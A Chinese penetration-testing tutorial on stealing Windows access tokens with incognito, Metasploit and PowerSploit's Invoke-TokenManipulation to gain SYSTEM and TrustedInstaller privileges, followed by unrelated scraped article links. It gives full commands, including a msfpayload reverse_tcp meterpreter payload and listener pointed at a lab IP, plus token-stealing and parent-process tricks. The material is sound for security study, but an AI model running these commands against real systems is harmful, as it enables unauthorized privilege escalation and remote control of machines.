内网渗透----Token 窃取与利用
0x00 前言
在之前的文章《渗透技巧——程序的降权启动》介绍了使用 SelectMyParent 降权的方法,本质上是通过 token 窃取实现的。这一次将要对 token 窃取和利用做进一步介绍,测试常用工具,分享利用技巧。
0x01 简介
本文将要介绍以下内容 ;
· Token 简介
· Metasploit 中的 incognito
· Windows 平台下的 incognito
· Invoke-TokenManipulation.ps1 用法
· 利用 token 获得 system 权限
· 利用 token 获得 TrustedInstaller 权限
0x02 Token 简介
Windows 有两种类型的 Token:
Delegation token ( 授权令牌 ) : 用于交互会话登录 ( 例如本地用户直接登录、远程桌面登录 )
Impersonation token ( 模拟令牌 ) : 用于非交互登录 ( 利用 net use 访问共享文件夹 )
注:
两种 token 只在系统重启后清除
具有 Delegation token 的用户在注销后,该 Token 将变成 Impersonation token,依旧有效
实际测试
使用 Testa 登录后注销,再使用 administrator 登录
查看 token:
incognito.exe list_tokens -u
能够获取到已注销用户 Testa 的 token,如下图

利用该 token 执行 calc.exe:
incognito.exe execute -c "TESTa" calc.exe
后台显示进程 calc.exe 的用户名为 a,如下图

0x03 Metasploit 中的 incognito
在 Metasploit 中,可使用 incognito 实现 token 窃取,常用命令如下:
加载 incognito:load incognito
列举 token:list_tokens -u
查看当前 token:getuid
提示至 system 权限:getsystem
token 窃取:impersonate_token "NT AUTHORITY\SYSTEM"
从进程窃取:steal_token 1252
返回之前 token:rev2self or drop_token
Client:
msfpayload -p windows/meterpreter/reverse_tcp LHOST=192.168.81.142 LPORT=44444 X >test.exe
Server:
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp
set LPORT 44444
set LHOST 192.168.81.142
exploit
执行 getsystem 获得 system 权限
pid 1252 的权限为当前用户,执行 steal_token 1252, 将权限切换到 WIN-R7MM90ERBMDa
如下图

执行 impersonate_token “NT AUTHORITY\SYSTEM” 将权限切换至 system
注:
需要加引号和双斜杠,"NT AUTHORITY\SYSTEM"
执行 rev2self 返回之前 token,为 WIN-R7MM90ERBMDa
如下图

通过以上演示,成功通过 token 窃取实现权限切换
0x04 Windows 平台下的 incognito
Metasploit 中的 incognito,是从 windows 平台下的 incognito 移植过来的,下面介绍一下 windows 平台下的 incognito
下载地址:
https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
参考手册:
常见用法如下:
列举 token:incognito.exe list_tokens -u
复制 token:incognito.exe execute [ options ]
列举 token:incognito.exe list_tokens -u
如下图

提权至 system:
incognito.exe execute -c "NT AUTHORITYSYSTEM" cmd.exe
如下图

降权至当前用户:
incognito.exe execute -c "WIN-R7MM90ERBMDa" cmd.exe
伪造用户:
incognito.exe execute -c "WIN-R7MM90ERBMDb" cmd.exe

0x05 Invoke-TokenManipulation.ps1 用法
下载地址:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1
原理和功能同 incognito 类似,能够实际提权和降权
列举 token:Invoke-TokenManipulation -Enumerate
提权至 system:Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authoritysystem"
复制进程 token:Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500
复制线程 token:Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500
还有更多用法可参考该脚本说明
实际测试略
0x06 利用 token 获得 TrustedInstaller 权限
在 Windows 系统中,即使获得了管理员权限和 system 权限,也不能修改系统文件
因为 Windows 系统的最高权限为 TrustedInstaller
例如路径 C:Windowsservicing
使用 system 权限无法在该路径创建文件

查看文件夹属性,显示 system 不具有写入权限,只有 TrustedInstaller 可以

关于如何获得 TrustedInstaller 权限,可参考 James Forshaw 的这篇文章,很值得学习
https://tyranidslair.blogspot.nl/2017/08/the-art-of-becoming-trustedinstaller.html
这里对其中的一个实例做测试,进而找到其他实现方法
启动 TrustedInstaller 服务会启动进程 TrustedInstaller.exe,位置为 C:WindowsservicingTrustedInstaller.exe,查看该程序权限:
Get-Acl -Path C:\Windows\servicing\TrustedInstaller.exe |select Owner
显示为 NT SERVICE\TrustedInstaller,如下图

James Forshaw 的实现思路为借用 TrustedInstaller.exe 的 token 创建子进程,这样子进程就有了 TrustedInstaller 权限,具体 powershell 代码如下:
Set-NtTokenPrivilege SeDebugPrivilege $p = Get-NtProcess -Name TrustedInstaller.exe $proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $p
powershell 默认不支持 Set-NtTokenPrivilege 命令,该模块需要下载安装
https://www.powershellgallery.com/packages/NtObjectManager/1.1.1
安装命令:
Save-Module -Name NtObjectManager -Path c:test Install-Module -Name NtObjectManager
注:
Save-Module 需要 powershell v5.0 支持,详情见:
https://docs.microsoft.com/zh-cn/powershell/gallery/readme
因此测试系统选为 Win10,默认 powershell 版本为 5.0
导入该模块需要系统允许执行 powershell 脚本,因此先执行如下代码:
Set-ExecutionPolicy Unrestricted
导入模块 NtObjectManager:
Import-Module NtObjectManager.
执行命令测试:
sc.exe start TrustedInstaller
Set-NtTokenPrivilege SeDebugPrivilege
$p = Get-NtProcess -Name TrustedInstaller.exe
$proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $p
使用 whoami 查看当前 cmd 权限:
whoami /groups /fo list
发现当前 cmd.exe 在 TrustedInstaller 组里,成功获得 TrustedInstaller 权限

接着按照 James Forshaw 文章中更新的内容,学习了 Vincent Yiu@vysecurity 的方法,使用 metasploit 下的 incognito 也能够获得 TrustedInstaller 权限
地址如下:
https://twitter.com/vysecurity/status/899303538630774787
思路如下:
· 启动服务 TrustedInstaller
· 使用 incognito 获取 TrustedInstaller.exe 的 token
· 获得 TrustedInstaller 权限
使用以下命令:
· load incognito
· getsytem
· ps
· steal_token 3204
· getuid
按照这个思路,猜测使用 SelectMyParent 和 Invoke-TokenManipulation.ps1 也能获得 TrustedInstaller 权限
下面验证我们的判断
1、SelectMyParent
sc start TrustedInstaller SelectMyParent.exe cmd.exe 1700
新的 cmd.exe 拥有 TrustedInstaller 权限
2、Invoke-TokenManipulation.ps1
添加如下代码即可:
sc.exe start TrustedInstaller $id = Get-Process -name TrustedInstaller* | Select-Object id | ForEach-Object -Process{$_.id} Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId $id
sc 这个命令不能直接在 powershell 里面运行,powershell 会把它当作 set-content 的别名,可使用 sc.exe 在 powershell 里面运行 sc 命令
验证是否获得 TrustedInstaller 权限的方法
1、对特殊路径写文件
例如 C:Windowsservicing
2、使用 powershell
Get-Acl -Path C:WindowsservicingTrustedInstaller.exe |select Owner
回显为 NT SERVICETrustedInstaller
3、使用 whoami
whoami /groups | findstr TrustedInstaller
查看是否有回显
0x07 小结
本文介绍了 token 窃取的实现方法,使用多种工具来获得 system 权限和 TrustedInstaller 权限。
内网渗透----Token 窃取与利用的更多相关文章
- 利用MSF实现三层网络的一次内网渗透
目标IP192.168.31.207 很明显这是一个文件上传的靶场 白名单限制 各种尝试之后发现这是一个检测文件类型的限制 上传php大马文件后抓包修改其类型为 image/jpeg 上传大马之后发 ...
- 安全学习概览——恶意软件分析、web渗透、漏洞利用和挖掘、内网渗透、IoT安全分析、区块链、黑灰产对抗
1 基础知识1.1 网络熟悉常见网络协议:https://www.ietf.org/standards/rfcs/1.2 操作系统1.3 编程2 恶意软件分析2.1 分类2.1.1 木马2.1.2 B ...
- Linux内网渗透
Linux虽然没有域环境,但是当我们拿到一台Linux 系统权限,难道只进行一下提权,捕获一下敏感信息就结束了吗?显然不只是这样的.本片文章将从拿到一个Linux shell开始,介绍Linux内网渗 ...
- 内网渗透测试思路-FREEBUF
(在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一.通过常规web渗透,已经拿到webshell.那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接, ...
- [原创]K8 Cscan 3.6大型内网渗透自定义扫描器
前言:无论内网还是外网渗透信息收集都是非常关键,信息收集越多越准确渗透的成功率就越高但成功率还受到漏洞影响,漏洞受时效性影响,对于大型内网扫描速度直接影响着成功率漏洞时效性1-2天,扫描内网或外网需1 ...
- metasploit渗透测试笔记(内网渗透篇)
x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. r ...
- Metasploit 内网渗透篇
0x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. ...
- 5.内网渗透之PTH&PTT&PTK
---------------------------------------------- 本文参考自三好学生-域渗透系列文章 内网渗透之PTH&PTT&PTK PTH(pass-t ...
- 4. 内网渗透之IPC$入侵
IPC$连接 IPC$的概念: IPC$(Internet Process Connection)是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限 ...
随机推荐
- Codeforces Round #756 (Div. 3)
本场战绩:+451 题目如下: A. Make Even time limit per test 1 second memory limit per test 256 megabytes input ...
- 04 前端之BOM与DOM
目录 前端之BOM与DOM BOM与DOM操作 BOM操作 前端之BOM与DOM BOM与DOM操作 BOM 浏览器对象模型>>>:使用js操作浏览器 DOM 文档对象模型>& ...
- Solution -「Ynoi 2018」「洛谷 P4117」五彩斑斓的世界
\(\mathcal{Description}\) Link. 给定序列 \(\{a_n\}\),处理 \(m\) 次操作: 给定 \(l,r,x\),把 \([l,r]\) 内所有 \(&g ...
- SpringBoot2.6.x默认禁用循环依赖后的应对策略
一.序言 SpringBoot 2.6.x不推荐使用循环依赖,这是一个好消息,SpringBoot从底层逐渐引导开发者书写规范的代码,同时也是个忧伤的消息,循环依赖的应用场景实在是太广泛了. 如果从低 ...
- react 也就这么回事 02 —— JSX 插值表达式、条件渲染以及列表渲染
我们已经学会了 React 创建元素和渲染元素 ReactDOM.render(<div>Hello React!</div>, document.getElementById ...
- [题解]UVA11029 Leading and Trailing
链接:http://vjudge.net/problem/viewProblem.action?id=19597 描述:求n^k的前三位数字和后三位数字 思路:题目要解决两个问题.后三位数字可以一边求 ...
- C++的两种实例化方式
C++中,类有两种实例化方式.一种是有new关键字,一种没有new关键字.那么,这两种实例化方式有什么区别呢? A a;//(1) a存在于栈上 A* a = new A();//(2) a存在于堆中 ...
- .net mvc项目本地调试:浏览器一直转圈无法访问
原因: 通过 bundles.Add 方式給多个 js文件添加 匿名,再通过 @Scripts.Render 引入的时候, js 里面使用了 const 来定义变量,就会导致访问pending,具体 ...
- ssh执行命令或者脚本里最好先加上 source /etc/profile
记: 写一次shell脚本,发现总提示 找不到JAVA_HOME .明明已经配了环境变量,并且java -version也已经能输出信息,但就是提示. 后来在 脚本中加入第一句代码 source /e ...
- 哈工大 计算机系统 实验一 Linux下C工具应用
所有实验文件可见github 计算机系统实验整理 实验报告 实 验(一) 题 目 Linux下C工具应用 专 业 计算机学院 学 号 班 级 学 生 指 导 教 师 实 验 地 点 实 验 日 期 计 ...